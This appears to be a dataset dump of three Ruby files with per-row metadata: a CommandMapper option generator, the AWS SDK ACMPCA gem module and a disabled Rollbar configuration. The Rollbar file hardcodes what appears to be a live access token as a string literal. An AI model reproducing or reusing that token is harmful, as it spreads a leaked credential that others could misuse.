| 10.5 | 19 | 0.690476 |
6aa0f4f121426d8cae7cd51eda7584fb7233ac62 | 1,528 | require 'command_mapper/gen/option_value'
module CommandMapper
module Gen
#
# Represents a mock `CommandMapper::Option` class.
#
class Option
# The option flag for the option.
#
# @return [String]
attr_reader :flag
# @return [Boolean, :equals, nil]
attr_reader :equals
# @return [Boolean, nil]
attr_reader :repeats
# @return [OptionValue, nil]
attr_reader :value
#
# Initializes the parsed argument.
#
# @param [String] flag
# The option flag.
#
# @param [Boolean, :optional, nil] equals
#
# @param [Boolean, nil] repeats
#
# @param [Hash{Symbol => Object}, nil] value
#
def initialize(flag, equals: nil, repeats: nil, value: nil)
@flag = flag
@equals = equals
@value = OptionValue.new(**value) if value
@repeats = repeats
end
#
# Converts the parsed option to Ruby source code.
#
# @return [String]
#
def to_ruby
ruby = "option #{@flag.inspect}"
fixme = nil
if @flag =~ /^-[a-zA-Z0-9]/ && @flag.length <= 3
ruby << ", name: "
fixme = "name"
end
ruby << ", equals: #{@equals.inspect}" unless @equals.nil?
ruby << ", repeats: #{@repeats.inspect}" unless @repeats.nil?
ruby << ", value: #{@value.to_ruby}" if @value
ruby << "\t# FIXME: #{fixme}" if fixme
ruby
end
end
end
end
| 22.80597 | 69 | 0.524215 |
e8251b40f33ad3d27ca6f31f3c76ff6062b3b36d | 1,460 | # WARNING ABOUT GENERATED CODE
#
# This file is generated. See the contributing guide for more information:
# https://github.com/aws/aws-sdk-ruby/blob/master/CONTRIBUTING.md
#
# WARNING ABOUT GENERATED CODE
require 'aws-sdk-core'
require 'aws-sigv4'
require_relative 'aws-sdk-acmpca/types'
require_relative 'aws-sdk-acmpca/client_api'
require_relative 'aws-sdk-acmpca/client'
require_relative 'aws-sdk-acmpca/errors'
require_relative 'aws-sdk-acmpca/waiters'
require_relative 'aws-sdk-acmpca/resource'
require_relative 'aws-sdk-acmpca/customizations'
# This module provides support for AWS Certificate Manager Private Certificate Authority. This module is available in the
# `aws-sdk-acmpca` gem.
#
# # Client
#
# The {Client} class provides one method for each API operation. Operation
# methods each accept a hash of request parameters and return a response
# structure.
#
# acmpca = Aws::ACMPCA::Client.new
# resp = acmpca.create_certificate_authority(params)
#
# See {Client} for more information.
#
# # Errors
#
# Errors returned from AWS Certificate Manager Private Certificate Authority are defined in the
# {Errors} module and all extend {Errors::ServiceError}.
#
# begin
# # do stuff
# rescue Aws::ACMPCA::Errors::ServiceError
# # rescues all AWS Certificate Manager Private Certificate Authority API errors
# end
#
# See {Errors} for more information.
#
# @service
module Aws::ACMPCA
GEM_VERSION = '1.24.0'
end
| 28.076923 | 121 | 0.75411 |
f736bdfb8a23bdab2638320150d80dc550c59897 | 2,123 | if false
require "rollbar/rails"
Rollbar.configure do |config|
# Without configuration, Rollbar is enabled in all environments.
# To disable in specific environments, set config.enabled=false.
config.access_token = "c21921f1085948cfa8332fa4b7c2a81d"
# Disable notifications by now.
config.enabled = false
# By default, Rollbar will try to call the `current_user` controller method
# to fetch the logged-in user object, and then call that object's `id`,
# `username`, and `email` methods to fetch those properties. To customize:
# config.person_method = "my_current_user"
# config.person_id_method = "my_id"
# config.person_username_method = "my_username"
# config.person_email_method = "my_email"
# If you want to attach custom data to all exception and message reports,
# provide a lambda like the following. It should return a hash.
# config.custom_data_method = lambda { {:some_key => "some_value" } }
# Add exception class names to the exception_level_filters hash to
# change the level that exception is reported at. Note that if an exception
# has already been reported and logged the level will need to be changed
# via the rollbar interface.
# Valid levels: 'critical', 'error', 'warning', 'info', 'debug', 'ignore'
# 'ignore' will cause the exception to not be reported at all.
# config.exception_level_filters.merge!('MyCriticalException' => 'critical')
#
# You can also specify a callable, which will be called with the exception instance.
# config.exception_level_filters.merge!('MyCriticalException' => lambda { |e| 'critical' })
# Enable asynchronous reporting (uses girl_friday or Threading if girl_friday
# is not installed)
# config.use_async = true
# Supply your own async handler:
# config.async_handler = Proc.new { |payload|
# Thread.new { Rollbar.process_payload(payload) }
# }
# Enable asynchronous reporting (using sucker_punch)
# config.use_sucker_punch
# Enable delayed reporting (using Sidekiq)
# config.use_sidekiq
# You can supply custom Sidekiq options:
# config.use_sidekiq 'queue' => 'my_queue'
end
end
| 40.056604 | 93 | 0.739049 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.